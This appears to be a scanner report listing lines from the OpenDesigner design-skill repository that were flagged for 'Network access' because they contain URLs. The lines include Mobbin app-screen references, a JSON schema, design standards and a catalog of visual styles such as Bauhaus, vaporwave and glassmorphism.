    {"id": "table-google-workspace", "app": "Google Workspace", "kind": "table", "platform": "web", "mobbin_url": "https://mobbin.com/screens/1006f5cc-b36e-4419-a70b-3f0cc0eed919", "source": "mobbin", "d": [10, 15, 70, 15, 25, 10, 15, 15], "tag
  • Network accessline 225
    {"id": "editor-google-ads", "app": "Google Ads", "kind": "editor", "platform": "web", "mobbin_url": "https://mobbin.com/screens/5c83d3e9-1fb9-4f8f-9b5b-f0c8d61c3b32", "source": "mobbin", "d": [10, 15, 65, 20, 25, 40, 15, 20], "tags": ["nati
  • Network accessline 226
    {"id": "table-jira-cloud", "app": "Jira Cloud", "kind": "table", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/f206f339-e758-44fe-828e-a5c8644da613", "source": "mobbin", "d": [15, 20, 65, 25, 45, 10, 30, 20], "tags": ["native
  • Network accessline 227
    {"id": "dashboard-macrofactor", "app": "MacroFactor", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/ebffde36-4c1a-407f-9551-1ba794fe3c8e", "source": "mobbin", "d": [25, 20, 45, 20, 50, 20, 25, 35], "tags"
  • Network accessline 228
    {"id": "dashboard-okta", "app": "Okta", "kind": "dashboard", "platform": "web", "mobbin_url": "https://mobbin.com/screens/72c7a956-c9ec-45ef-872e-c3ec74d672df", "source": "mobbin", "d": [15, 30, 70, 20, 20, 10, 25, 10], "tags": ["dense", "h
  • Network accessline 229
    {"id": "dashboard-gitlab", "app": "GitLab", "kind": "dashboard", "platform": "web", "mobbin_url": "https://mobbin.com/screens/83a4d831-a8b2-4240-b322-02aec38ec666", "source": "mobbin", "d": [15, 25, 60, 15, 20, 5, 10, 15], "tags": ["flat", 
  • Network accessline 230
    {"id": "table-vanta", "app": "Vanta", "kind": "table", "platform": "web", "mobbin_url": "https://mobbin.com/screens/631da5b7-7729-472a-8169-5a80dce56bd1", "source": "mobbin", "d": [15, 30, 65, 20, 30, 5, 15, 20], "tags": ["hairlines", "dens
  • Network accessline 231
    {"id": "table-cloudflare", "app": "Cloudflare", "kind": "table", "platform": "web", "mobbin_url": "https://mobbin.com/screens/edb50e14-306e-4009-8974-b7542faf4acb", "source": "mobbin", "d": [15, 25, 55, 15, 25, 5, 15, 15], "tags": ["flat", 
  • Network accessline 232
    {"id": "dashboard-coinbase", "app": "Coinbase", "kind": "dashboard", "platform": "web", "mobbin_url": "https://mobbin.com/screens/114d6f6f-395f-40b6-a271-bebd604f0b73", "source": "mobbin", "d": [20, 40, 65, 30, 40, 10, 20, 10], "tags": ["da
  • Network accessline 233
    {"id": "checkout-zillow", "app": "Zillow", "kind": "checkout", "platform": "web", "mobbin_url": "https://mobbin.com/screens/8dfc9387-ebe6-4489-a377-fe78e0232050", "source": "mobbin", "d": [10, 20, 60, 15, 30, 45, 15, 15], "tags": ["utilitar
  • Network accessline 234
    {"id": "detail-my-bmw", "app": "My BMW", "kind": "detail", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/fbbd81ca-7614-4e75-8d50-94907c1cc870", "source": "mobbin", "d": [25, 30, 45, 15, 15, 0, 10, 15], "tags": ["hairlines", "
  • Network accessline 235
    {"id": "feed-best-buy", "app": "Best Buy", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/5d75b6f2-cfb3-4aec-a908-5620565f80b0", "source": "mobbin", "d": [25, 45, 55, 35, 20, 10, 40, 20], "tags": ["bold colour"
  • Network accessline 236
    {"id": "dashboard-vapi", "app": "Vapi", "kind": "dashboard", "platform": "web", "mobbin_url": "https://mobbin.com/screens/6a9d6260-3eef-485c-aa18-1eaa700ec67c", "source": "mobbin", "d": [15, 35, 75, 20, 30, 15, 15, 10], "tags": ["dark", "de
  • Network accessline 237
    {"id": "settings-employment-hero", "app": "Employment Hero", "kind": "settings", "platform": "web", "mobbin_url": "https://mobbin.com/screens/e1a62355-32dc-4846-bb2d-82041d9fbe4d", "source": "mobbin", "d": [15, 45, 60, 25, 35, 10, 35, 25], 
  • Network accessline 238
    {"id": "table-retool", "app": "Retool", "kind": "table", "platform": "web", "mobbin_url": "https://mobbin.com/screens/ddcdc9ee-67f7-4e42-a85a-4a5cabc5612f", "source": "mobbin", "d": [15, 25, 70, 15, 25, 5, 15, 20], "tags": ["hairlines", "te

skills/opendesigner/references/report.schema.json

  • Network accessline 1
    {   "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 2
    "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 3
    "$id": "https://github.com/ckryptickunal/OpenDesigner/blob/main/skills/opendesigner/references/report.schema.json",

skills/opendesigner/references/research.md

  • Network accessline 20
    | `web-search` | WebSearch, `web_search`, a search MCP | Statistics, studies and articles about the group. The base of the research | | `browser` | WebFetch, an in-app browser, Chrome, Playwright | Opens what a search finds, and app-store r
  • Network accessline 21
    | `browser` | WebFetch, an in-app browser, Chrome, Playwright | Opens what a search finds, and app-store reviews, so each finding cites the page, not a snippet | | `last30days` | A skill named `last30days` ([last30days-skill](https://github
  • Network accessline 22
    | `last30days` | A skill named `last30days` ([last30days-skill](https://github.com/mvanhorn/last30days-skill)) | What these users said in the last 30 days on Reddit, X, YouTube and Hacker News: live habits and complaints |

skills/opendesigner/references/rules.md

  • Network accessline 209
    > If OpenDesigner helped, a star on GitHub or a word to a colleague helps other people find it: https://github.com/ckryptickunal/OpenDesigner. To change or add something yourself, CONTRIBUTING.md there says how.

skills/opendesigner/references/standards/accessibility-motion.md

  • Network accessline 93
    ### STD-accessibility-motion-16: Build overlays on accessible primitives **must** · web, react. Build dialogs, drawers, popovers, dropdown menus, selects and tabs on an accessible primitive (base-ui, or Radix such as Radix Dialog and Radix 
  • Network accessline 94
    **must** · web, react. Build dialogs, drawers, popovers, dropdown menus, selects and tabs on an accessible primitive (base-ui, or Radix such as Radix Dialog and Radix Tabs) that handles focus management, focus trapping and dismissal, and co
  • Network accessline 95
    - Values: primitives: base-ui (https://base-ui.com); radix: Radix Dialog (Vaul is built on it), Radix Tabs; command-menu: cmdk

skills/opendesigner/references/standards/easing-duration.md

  • Network accessline 15
    ### STD-easing-duration-02: Strong custom curves, not built-in keywords **must**. Use the strong custom curves cubic-bezier(0.23, 1, 0.32, 1) for ease-out and cubic-bezier(0.77, 0, 0.175, 1) for ease-in-out instead of the built-in CSS or Re
  • Network accessline 16
    **must**. Use the strong custom curves cubic-bezier(0.23, 1, 0.32, 1) for ease-out and cubic-bezier(0.77, 0, 0.175, 1) for ease-in-out instead of the built-in CSS or Reanimated easings (only the ease and linear keywords stay allowed), and t
  • Network accessline 17
    - Values: --ease-out: cubic-bezier(0.23, 1, 0.32, 1); --ease-in-out: cubic-bezier(0.77, 0, 0.175, 1); EASE_OUT: Easing.bezier(0.23, 1, 0.32, 1); EASE_IN_OUT: Easing.bezier(0.77, 0, 0.175, 1); allowed-built-in-keywords: ease, linear; curve-s

skills/opendesigner/references/standards/performance-properties.md

  • Network accessline 80
    ### STD-performance-properties-17: Virtualize long lists and large tables **must** · web, react. Virtualize long lists and large tables so only visible rows render; never render a 1,000+ row list directly. - Values: threshold: 1,000+ rows; 
  • Network accessline 81
    **must** · web, react. Virtualize long lists and large tables so only visible rows render; never render a 1,000+ row list directly. - Values: threshold: 1,000+ rows; library: Virtuoso (https://virtuoso.dev); if the project already uses anot
  • Network accessline 82
    - Values: threshold: 1,000+ rows; library: Virtuoso (https://virtuoso.dev); if the project already uses another virtualizer such as react-window, keep it

skills/opendesigner/references/style-catalog.md

  • Network accessline 11
    | Style | Looks like | People say | Stands out | Fits | Sources | |---|---|---|---|---|---| | **Acid graphics** `acid-graphics` | melting chrome letters, warped shapes and loud neon on black | rave poster, melting chrome font, trippy techno
  • Network accessline 12
    |---|---|---|---|---|---| | **Acid graphics** `acid-graphics` | melting chrome letters, warped shapes and loud neon on black | rave poster, melting chrome font, trippy techno flyer, liquid metal text, acid green on black | surface metallic 
  • Network accessline 13
    | **Acid graphics** `acid-graphics` | melting chrome letters, warped shapes and loud neon on black | rave poster, melting chrome font, trippy techno flyer, liquid metal text, acid green on black | surface metallic · edge none · depth layere
  • Network accessline 14
    | **AI glow** `ai-glow` | near-black screens with soft colored light glowing behind cards and buttons | looks like an AI startup, dark with glowing edges, sleek and techy, glowing purple gradient, neon glow on black | surface luminous · dep
  • Network accessline 15
    | **Anti-AI handmade** `anti-ai-handmade` | wobbly hand-drawn lines and real textures that clearly look made by people | hand-drawn, doodles, human, not AI, handmade, imperfect | edge rough · depth flat · shape irregular · color muted · typ
  • Network accessline 16
    | **Art Deco** `art-deco` | 1920s glamour: gold lines, fans and tall elegant letters | 1920s, art deco, gatsby, grand hotel, theater | surface metallic · edge outline · depth flat · shape geometric · color metallic · contrast high · type di
  • Network accessline 17
    | **Art meets UI** `painterly-ui` | app screenshots shown on paintings, like art hung in a gallery | product on a painting, classical art website, museum feel, impressionist background, artsy tech site | edge none · depth soft-shadow · colo
  • Network accessline 18
    | **Art Nouveau** `art-nouveau` | curvy plant shapes, flowing hair and swirly lines framing soft pictures | flowery and curvy, old French poster look, elegant vines and flowers, swirly vintage border, fancy 1900s style | edge outline · dept
  • Network accessline 19
    | **Arts and Crafts** `arts-and-crafts` | leafy repeating patterns of birds and flowers in soft old colors | William Morris wallpaper, cottage garden pattern, old English botanical, heritage handmade feel, vintage floral print | depth flat 
  • Network accessline 20
    | **Bauhaus** `bauhaus` | primary colors and simple circles, squares and triangles | art school, bauhaus, circles squares and triangles, primary colors | edge none · depth flat · shape geometric · color vivid · contrast high · type geometri
  • Network accessline 21
    | **Blueprint** `blueprint` | white line drawings on a deep blue sheet, often with a grid | blueprint, architect plans, white lines on blue, engineering plan, construction drawing look | depth flat · shape sharp · color monochrome · contras
  • Network accessline 22
    | **Bold minimalism** `bold-minimalism` | simple, empty layouts where one thing is loud: a vivid color or huge type | simple but loud, clean with one bright color, minimal but not boring, like that lime green album cover, big type, lots of 
  • Network accessline 23
    | **Brat** `brat` | a harsh acid-colored field with one blurry lowercase word | brat green, brat summer, lime green with blurry text, intentionally ugly, low effort cool | edge none · depth flat · shape sharp · color vivid · contrast high ·
  • Network accessline 24
    | **Chalkboard** `chalkboard` | white chalk writing and doodles on a dark green or black board | chalkboard, cafe menu board, chalk writing, school blackboard, hand-lettered menu | edge rough · depth flat · shape irregular · color muted · c
  • Network accessline 25
    | **Console channel menu (Wii era)** `console-channel-grid` | a calm grid of TV-like panes you point at | Wii menu, Wii vibe, game console menu, TV app grid, channel tiles | edge outline · depth soft-shadow · shape rounded · type rounded · 
  • Network accessline 26
    | **Cottagecore** `cottagecore` | soft country cottage look: flowers, linen, baking and gardens | cozy countryside, floral and soft, cottage in the woods, vintage farmhouse, picnic vibes | depth soft-shadow · shape rounded · color muted · c
  • Network accessline 27
    | **CRT phosphor glow** `crt-phosphor` | glowing green or amber letters on black with faint scanlines | old monitor, green screen, amber screen, glowing text, scanlines | surface luminous · depth glow · shape sharp · color monochrome · cont
  • Network accessline 28
    | **Cyberpunk (neon noir)** `cyberpunk-neon-noir` | dark rainy city screens with sharp neon signs and glitchy readouts | futuristic hacker, Blade Runner vibe, neon city at night, sci-fi HUD, dark tech with neon | surface luminous · edge out
  • Network accessline 29
    | **Dada photomontage** `dada-photomontage` | cut-up photos and mismatched letters glued together to make nonsense | cut and paste collage, weird magazine cutouts, surreal photo collage, absurd and arty, mixed letters glued on | edge rough 
  • Network accessline 30
    | **Dark academia** `dark-academia` | old library mood: dark wood, candlelight, serif books and parchment | old library, Oxford vibe, moody scholarly, vintage bookish, candlelit study | depth tonal · color earthy · contrast low · type serif
  • Network accessline 31
    | **dark luxe** `dark-luxe` | sleek, dark, premium screens with one quiet accent | dark luxe, dark mode first, like linear, premium saas, sleek dark | color muted · theme dark-first | core-ui | skills/opendesigner/references/styles.md | | *
  • Network accessline 32
    | **Digital maximalism** `maximalism` | lots of layers, patterns, colors and fonts piled up on purpose | busy but cool, more is more, chaotic in a good way, loud and layered, lots going on | edge none · depth layered · shape irregular · col
  • Network accessline 33
    | **Dithering and 1-bit** `dithering` | pictures made from scattered black and white dots, like old computer screens | dotty black and white, old computer picture, 1-bit, dithered, grainy pixel shading | edge none · depth flat · shape pixel
  • Network accessline 34
    | **Dopamine design** `dopamine` | bright happy colors that clash on purpose, like a candy shop | bright and happy, colorful and fun, candy colors, make it pop, joyful | edge none · depth flat · shape pill · color vivid · contrast high · ty
  • Network accessline 35
    | **E-ink / e-paper** `e-ink` | calm black ink on grey-white paper, no glow and no animation | Kindle, e-reader, paper screen, calm screen, newspaper-like app | edge outline · depth flat · shape sharp · color monochrome · contrast high · ty
  • Network accessline 36
    | **editorial style** `editorial` | pages that read like a good magazine | bookish, editorial, long reads, long-form, magazine | depth flat · shape sharp · color muted · type serif · scale dramatic · imagery photo · layout editorial | core-
  • Network accessline 37
    | **Financial terminal (dense trading screen)** `financial-terminal` | packed tables of amber numbers on black, built for experts | Bloomberg look, trading screen, stock terminal, data heavy dashboard, black and orange screen | depth flat ·
  • Network accessline 38
    | **flat design** `flat` | plain solid colors with no shadows, shine or texture | clean, flat, flat 2.0, flat design, no shadows | edge none · depth flat · color tonal · imagery illustration | core-ui | skills/opendesigner/references/styles
  • Network accessline 39
    | **Glitch art** `glitch` | broken screen look: split colors, torn stripes and blocky pixels | glitchy, broken TV look, corrupted file effect, RGB split, static and distortion | edge none · depth flat · shape sharp · color neon · contrast h
  • Network accessline 40
    | **Googie and Atomic Age** `googie-atomic` | starbursts, boomerangs, atom symbols and neon signs from 1950s diners | Jetsons style, retro space age, 50s diner sign, atomic starbursts, retro futuristic | edge outline · depth flat · shape ge
  • Network accessline 41
    | **Grunge typography** `grunge-typography` | messy layered type, scratched textures and photos that overlap and bleed | 90s skate magazine, dirty grunge look, messy layered text, distressed and chaotic, Ray Gun magazine vibe | edge rough ·
  • Network accessline 42
    | **Handmade web (Web 1.0 revival)** `handmade-web` | homemade website with tiled backgrounds, tiny buttons and blinking GIFs | old GeoCities page, 90s personal website, handmade website, Neocities vibe, little pixel buttons | edge beveled 
  • Network accessline 43
    | **Holographic foil** `holographic` | shiny rainbow surface that changes color as it tilts | holographic, rainbow shiny, iridescent, like a hologram sticker, oil slick colours | surface metallic · edge none · depth flat · shape rounded · c
  • Network accessline 44
    | **Immersive 3D web** `immersive-3d` | websites where you spin, explore or play with 3D objects | 3D website, like a video game, I can rotate the product, interactive 3D, fly through the page | surface glossy · edge none · depth layered · 
  • Network accessline 45
    | **Italian Futurism** `futurism` | words flying at angles with speed lines and machine energy | fast and loud, words exploding across the page, speed lines, racing car energy, noisy typography | edge none · depth flat · shape sharp · color
  • Network accessline 46
    | **Japanese minimalism (wabi-sabi)** `japanese-minimalism` | calm empty space, soft paper colors and a few quiet marks | zen and calm, Muji vibe, Japanese minimal, quiet and natural, imperfect handmade beauty | edge none · depth flat · col
  • Network accessline 47
    | **Kinetic typography** `kinetic-type` | words that move, stretch and change size while you watch | moving text, animated words, text that dances, stretchy letters, words fly in | edge none · depth flat · shape sharp · contrast high · type
  • Network accessline 48
    | **Layered paper cut** `paper-cut` | shapes cut from colored paper, stacked so each layer casts shadow | cut out of paper, paper layers, papercraft, shadow box, crafty paper look | edge none · depth layered · shape irregular · color vivid 
  • Network accessline 49
    | **Lo-fi (study beats)** `lofi` | cozy anime room at night, warm lamp, rain on window | lofi, chill study vibe, cozy anime room, beats to study to, rainy night window | edge none · depth tonal · color muted · contrast low · type humanist ·
  • Network accessline 50
    | **Marbling** `marbling` | swirly veined color patterns, like floating ink or polished marble | marble, marbled, swirly pattern, stone veins, fancy endpapers | edge none · depth flat · shape irregular · color tonal · contrast low · type se
  • Network accessline 51
    | **Material You / Material 3 Expressive** `material-you` | soft color pulled from your wallpaper, chunky rounded shapes, springy motion | Android style, Pixel phone look, colors from my wallpaper, bubbly rounded buttons, playful Google loo
  • Network accessline 52
    | **Metro (Microsoft Design Language)** `metro` | flat bright tiles and big thin lowercase words, no decoration | Windows Phone, Windows 8 tiles, big tiles, flat colored squares, huge thin text | edge none · depth flat · shape sharp · color
  • Network accessline 53
    | **Micrographics** `technical-micrographics` | tiny technical labels, grids, dots and lines used as decoration | techy labels, blueprint style, like a spec sheet, dot grid background, nodes and lines | depth flat · shape sharp · type mono 
  • Network accessline 54
    | **Mid-century modern (graphic)** `mid-century-modern` | simple cheerful shapes, friendly drawings and warm flat colors from the 1950s | retro 50s, mid-century, Mad Men vibe, vintage modern, cheerful retro illustration | edge none · depth 
  • Network accessline 55
    | **minimal monochrome** `minimal-monochrome` | black, white and grays with very little color | black and white, gallery, grayscale, monochrome, no color | depth flat · color monochrome · contrast high · density airy | core-ui | skills/open
  • Network accessline 56
    | **Monoline line art** `monoline` | drawings and icons made of lines of one even thickness, with no fills | line drawing, outline icons, one continuous line, thin line art, minimal line logo | edge outline · depth flat · shape rounded · co
  • Network accessline 57
    | **Naive crayon drawing** `naive-crayon` | wobbly drawings that look made by a child with crayons | like a kid drew it, crayon, scribbly, doodles, wonky | edge rough · depth flat · shape irregular · color vivid · type handwritten · scale d
  • Network accessline 58
    | **Neo-heritage** `neo-heritage` | old logos and 1970s letters brought back and cleaned up for screens | retro but clean, 70s vibe, throwback logo, vintage brand, nostalgic | edge none · depth flat · shape rounded · color earthy · type dis
  • Network accessline 59
    | **Neon sign** `neon-sign` | glowing colored tube letters lighting up a dark wall | neon sign, glowing letters, night bar sign, neon lights, glow effect | surface luminous · depth glow · shape rounded · color neon · contrast high · type sc
  • Network accessline 60
    | **New Wave typography** `new-wave-typography` | swiss-style letters broken loose: tilted, layered, stepped and spaced oddly | 80s design poster, messy but clean type, broken grid, tilted text blocks, layered type collage | depth layered ·
  • Network accessline 61
    | **Newsprint** `newsprint` | cheap grey paper, black ink columns, halftone photos and big headlines | newspaper style, old newspaper, newsprint, headlines and columns, newspaper clipping | depth flat · shape sharp · contrast high · type se
  • Network accessline 62
    | **organic style** `organic` | earthy colors, soft shapes and natural textures | calm and warm, earthy, eco, natural, organic | edge none · depth tonal · shape blob · color earthy · type humanist · scale dramatic · imagery illustration · l
  • Network accessline 63
    | **Palm OS / early PDA** `palm-pda` | tiny black-and-white pocket screen with rounded text buttons | Palm Pilot, PDA, old pocket computer, early smartphone, tiny black and white screen | edge outline · depth flat · color monochrome · contr
  • Network accessline 64
    | **Photocopy zine** `photocopy-zine` | gritty black and white photocopies, like a homemade magazine | like a zine, photocopied, xerox look, DIY magazine, gritty black and white | edge rough · depth flat · shape irregular · color monochrome
  • Network accessline 65
    | **pixel art** `pixel-art` | 8-bit pictures and letters made of square pixels | 8-bit, bitmap, pixel, pixel art, pixelated | edge thick-outline · depth flat · shape pixel · color vivid · contrast high · type pixel · texture dither · imager
  • Network accessline 66
    | **Plakatstil** `plakatstil` | one big product, its name in bold letters, flat bright colors | simple old ad poster, just the product and the name, bold vintage advertising, clean retro poster, flat colors big letters | edge none · depth f
  • Network accessline 67
    | **Playful interactive web** `playful-interactive` | sites that react to your mouse like a toy, full of surprises | fun to click, the cursor does cool stuff, like old Flash sites, playful website, easter eggs | edge none · depth flat · sha
  • Network accessline 68
    | **Polish poster school** `polish-poster` | painted, surreal poster pictures with hand-lettered titles and a clever twist | arty film poster, surreal hand-painted poster, quirky Eastern European poster, clever visual metaphor, brushy and b
  • Network accessline 69
    | **Pop Art silkscreen** `pop-art-silkscreen` | same photo repeated in bright flat colors, like a printed poster grid | Warhol look, repeated colorful portraits, pop art grid, bright photo in four colors, soup can style | edge none · depth 
  • Network accessline 70
    | **Punk zine** `punk-zine` | photocopied cut-out letters, ripped paper and scrawled words in black and white | punk flyer, ransom note letters, photocopied zine, DIY rebel look, ripped and taped | edge rough · depth layered · shape irregul
  • Network accessline 71
    | **Quiet luxury** `quiet-luxury` | calm, expensive-looking pages in soft beige, ink and lots of space | elegant and calm, expensive but not flashy, old money, soft neutrals, like a boutique hotel | depth flat · shape sharp · color muted · 
  • Network accessline 72
    | **Russian Constructivism** `constructivism` | red and black diagonals, bold blocky words and cut-out photos | Soviet poster, red and black propaganda look, revolutionary poster, angled bold text, photo collage with slogans | edge none · d
  • Network accessline 73
    | **Scandinavian (Nordic) design** `scandinavian` | light, calm and simple, with soft wood tones and one bold pattern | Scandi, clean and cozy, hygge, light and airy, Nordic minimal | depth tonal · shape rounded · type humanist · texture pa
  • Network accessline 74
    | **Scrapbook collage** `scrapbook-collage` | cut-out photos, stickers, tape and torn paper stuck together | scrapbook, stickers and tape, cut and paste, like a journal, collage | edge rough · depth layered · shape irregular · type handwrit
  • Network accessline 75
    | **Scrollytelling** `scrollytelling` | the story builds and changes as you scroll down | story as you scroll, things appear when I scroll, like a big newspaper feature, interactive article, scroll animation | edge none · depth layered · im
  • Network accessline 76
    | **Seapunk** `seapunk` | bright aqua water, dolphins and shiny 90s 3D shapes floating | mermaid internet, aqua and dolphins, 90s underwater, Tumblr ocean vibe, holographic sea | surface gradient · edge none · depth layered · shape rounded 
  • Network accessline 77
    | **Serif renaissance** `serif-renaissance` | tech products using elegant book-style letters to feel warm and human | fancy serif but techy, bookish, warm, not robotic, elegant headings, less corporate | edge none · depth flat · type serif 
  • Network accessline 78
    | **Sketchy wireframe** `sketchy-wireframe` | interface drawn with wobbly pen lines, like a quick whiteboard sketch | hand-drawn, sketchy, like a whiteboard, rough draft look, napkin sketch | edge rough · depth flat · shape irregular · colo
  • Network accessline 79
    | **skeuomorphism** `skeuomorphism` | screens that copy real objects and materials, like a hardware console | dials, knobs, leather, like a real object, like an old ipod | edge beveled · depth layered · color muted · type humanist · texture
  • Network accessline 80
    | **Solarpunk** `solarpunk` | sunny green future with plants, solar panels and curvy shapes | hopeful future, green and sunny, plants everywhere but futuristic, nature plus tech, eco friendly vibe | edge none · depth soft-shadow · shape rou
  • Network accessline 81
    | **Supergraphics** `supergraphics` | huge stripes, arcs and letters painted across walls and screens | giant stripes, 70s retro stripes, huge bold shapes, wall-sized graphics, groovy arcs | edge none · depth flat · shape geometric · color 
  • Network accessline 82
    | **Suprematism** `suprematism` | flat colored squares, bars and circles floating on white | floating shapes on white, abstract tilted rectangles, Malevich look, minimal geometric art, shapes flying in space | edge none · depth flat · shape
  • Network accessline 83
    | **Swiss style** `swiss` | a strict grid with plain bold letters and lots of space | grid, helvetica, international typographic style, orderly, poster | depth flat · shape sharp · contrast high · motion still | core-ui | skills/opendesigne
  • Network accessline 84
    | **Synth hardware panel (Teenage Engineering-style)** `synth-panel` | metal gadget panel with four bright knobs and a tiny playful screen | Teenage Engineering, OP-1, synth look, music gadget, hardware buttons | surface metallic · edge non
  • Network accessline 85
    | **Technical drawing** `technical-drawing` | precise thin black lines, measurements, labels and tiny data notes | engineering drawing, schematic, like a diagram, spec sheet look, technical | depth flat · shape sharp · contrast high · type 
  • Network accessline 86
    | **terminal style** `terminal` | code-screen looks: monospace text on a dark screen | ascii, code, command line, hacker, like a terminal | depth flat · shape sharp · color monochrome · contrast high · type mono · scale even · ornament asci
  • Network accessline 87
    | **Type-first design** `oversized-type` | huge words fill the screen and do most of the talking | big bold words, giant headline, just text, but huge, like a poster, loud typography | edge none · depth flat · shape sharp · contrast high · 
  • Network accessline 88
    | **Vaporwave** `vaporwave` | pink and teal computer dream with old statues and palm trees | 80s mall vibes, pink and teal, Greek statue and palm trees, retro computer aesthetic, A E S T H E T I C text | surface gradient · edge beveled · de
  • Network accessline 89
    | **Vectordelia** `vectordelia` | black dancing silhouettes on bright stripes, swooshes and vector flowers | old iPod ad look, 2000s vector swooshes, silhouette on bright colors, mid 2000s music graphics, flat swirly vectors | edge none · d
  • Network accessline 90
    | **Vienna Secession** `vienna-secession` | neat grids of squares, big lettering filling the page, few colors | Art Nouveau but with straight lines, Klimt era graphic, elegant geometric poster, black and white squares border, old Vienna pos
  • Network accessline 91
    | **Watercolour** `watercolour` | soft see-through paint that bleeds and pools on paper | watercolor, painted look, soft and dreamy, paint bleeding, hand-painted | edge rough · depth flat · shape irregular · color pastel · contrast low · ty
  • Network accessline 92
    | **Web 2.0 gloss** `web-2-gloss` | shiny buttons, reflections, big friendly text and a 'Free!' starburst | Web 2.0, glossy buttons, 2007 website, shiny startup site, reflection under the logo | surface glossy · edge none · depth soft-shado
  • Network accessline 93
    | **Whimsigothic** `whimsigothic` | moons, stars and velvet in deep purple and gold, witchy | witchy, mystical, celestial, tarot vibes, 90s witch movie | surface gradient · depth tonal · shape rounded · color muted · type serif · ornament o
  • Network accessline 97
    | Style | Looks like | People say | Stands out | Fits | Sources | |---|---|---|---|---|---| | **Aqua (early Mac OS X)** `aqua` | shiny blue gel buttons, pinstriped windows and soft shadows | shiny Mac buttons, glossy blue buttons, early 200
  • Network accessline 98
    |---|---|---|---|---|---| | **Aqua (early Mac OS X)** `aqua` | shiny blue gel buttons, pinstriped windows and soft shadows | shiny Mac buttons, glossy blue buttons, early 2000s Mac, candy buttons, jelly buttons | surface glossy · depth soft
  • Network accessline 99
    | **Aqua (early Mac OS X)** `aqua` | shiny blue gel buttons, pinstriped windows and soft shadows | shiny Mac buttons, glossy blue buttons, early 2000s Mac, candy buttons, jelly buttons | surface glossy · depth soft-shadow · shape pill · typ
  • Network accessline 100
    | **Material elevation** `material-elevation` | cards and buttons that float at set heights | floating cards, like android, like google, material, material design | edge none · depth soft-shadow · shape rounded · color tonal · motion spring
  • Network accessline 101
    | **McBling** `mcbling` | hot pink, rhinestones, leopard print and glossy celebrity glamour | Paris Hilton era, bedazzled, hot pink and sparkly, 2000s glam, rhinestone everything | surface glossy · depth soft-shadow · shape pill · color viv
  • Network accessline 103
    | **Tactile hyperrealism** `tactile-sensory` | squishy, puffy, touchable-looking 3D things you almost want to poke | squishy, puffy, looks touchable, jelly-like, balloon letters | surface glossy · edge none · depth soft-shadow · shape blob 
  • Network accessline 107
    | Style | Looks like | People say | Stands out | Fits | Sources | |---|---|---|---|---|---| | **Apple Liquid Glass** `liquid-glass` | clear floating glass controls that bend light and shine at edges | iOS 26 look, new Apple glass, liquid gl
  • Network accessline 108
    |---|---|---|---|---|---| | **Apple Liquid Glass** `liquid-glass` | clear floating glass controls that bend light and shine at edges | iOS 26 look, new Apple glass, liquid glass, floating glass buttons, see-through tab bar | surface translu
  • Network accessline 109
    | **Apple Liquid Glass** `liquid-glass` | clear floating glass controls that bend light and shine at edges | iOS 26 look, new Apple glass, liquid glass, floating glass buttons, see-through tab bar | surface translucent · depth glass · shape
  • Network accessline 110
    | **Frutiger Aero** `frutiger-aero` | glossy glass, bubbles, sky and grass, like mid-2000s computers | aqua, bubbles, frutiger aero, glossy, sky and grass | surface glossy · depth glass · shape pill · color vivid · type humanist · imagery p
  • Network accessline 111
    | **glassmorphism** `glassmorphism` | frosted see-through panels | acrylic, backdrop blur, blurry, frosted, frosted glass | surface translucent · depth glass · shape rounded · color muted · imagery photo · layout layered | core-ui | skills/
  • Network accessline 112
    | **Microsoft Fluent (Acrylic and Mica)** `fluent` | frosted, slightly grainy panels over a softly tinted Windows backdrop | Windows 11, frosted Windows panels, modern Microsoft look, acrylic blur, soft rounded Windows | surface translucent
  • Network accessline 113
    | **visionOS spatial UI** `visionos-spatial` | floating glass windows in your room; controls light up when you look at them | Vision Pro look, floating windows, spatial UI, AR glass panels, 3D interface | surface translucent · depth layered
  • Network accessline 118
    |---|---|---|---|---|---| | **brutalism** `brutalism` | raw, unpolished pages on purpose: default fonts, plain links, visible structure | anti-design, brutalism, brutalist, like an old website, raw | depth flat · shape sharp · color monochr
  • Network accessline 119
    | **brutalism** `brutalism` | raw, unpolished pages on purpose: default fonts, plain links, visible structure | anti-design, brutalism, brutalist, like an old website, raw | depth flat · shape sharp · color monochrome · contrast high · type
  • Network accessline 120
    | **Classic Mac (1-bit System software)** `classic-mac-1bit` | black and white early Mac screen: striped title bars, tiny pixel fonts | old Mac, black and white computer, 1984 Mac, classic Macintosh, retro Apple | edge outline · depth hard-
  • Network accessline 121
    | **comic style** `comic` | comic-book ink outlines, bright flat colors and dots | cartoon, comic, comic book, comic style, dots | edge thick-outline · depth flat · color vivid · contrast high · type display · scale dramatic · texture halft
  • Network accessline 122
    | **De Stijl** `de-stijl` | black lines making boxes, a few filled red, blue or yellow | Mondrian look, primary colors and black lines, colored boxes grid, red yellow blue blocks, modern art squares | edge thick-outline · depth flat · shape
  • Network accessline 123
    | **DOS text-mode TUI** `dos-tui` | full-screen text windows drawn with line characters on bright blue | old DOS program, blue text screen, ASCII boxes, Norton Commander, retro text menu | edge outline · depth hard-offset · shape sharp · co
  • Network accessline 124
    | **Kawaii** `kawaii` | round pastel shapes and tiny smiling faces on everything | cute, super cute Japanese style, Sanrio vibe, pastel and adorable, little faces on things | edge thick-outline · depth flat · shape pill · color pastel · typ
  • Network accessline 126
    | **Ukiyo-e flat colour** `ukiyo-e` | bold outlines filled with flat colors, deep blues and soft fades | Japanese wave print, Hokusai look, old Japanese art, flat colors with outlines, Edo poster | edge thick-outline · depth flat · shape sh
  • Network accessline 130
    | Style | Looks like | People say | Stands out | Fits | Sources | |---|---|---|---|---|---| | **Braun functionalism (Dieter Rams)** `braun-functionalism` | quiet white, grey or black panels with one bright color-coded button | Dieter Rams, 
  • Network accessline 131
    |---|---|---|---|---|---| | **Braun functionalism (Dieter Rams)** `braun-functionalism` | quiet white, grey or black panels with one bright color-coded button | Dieter Rams, Braun calculator, old Apple calculator look, clean German design, 
  • Network accessline 132
    | **Braun functionalism (Dieter Rams)** `braun-functionalism` | quiet white, grey or black panels with one bright color-coded button | Dieter Rams, Braun calculator, old Apple calculator look, clean German design, less but better | edge non
  • Network accessline 133
    | **claymorphism** `claymorphism` | puffy, round shapes that look made of soft clay | 3d, chubby, clay, clay 3d, claymorphism | edge none · depth inner · shape pill · color pastel · type rounded · imagery 3d · density airy · motion bouncy |
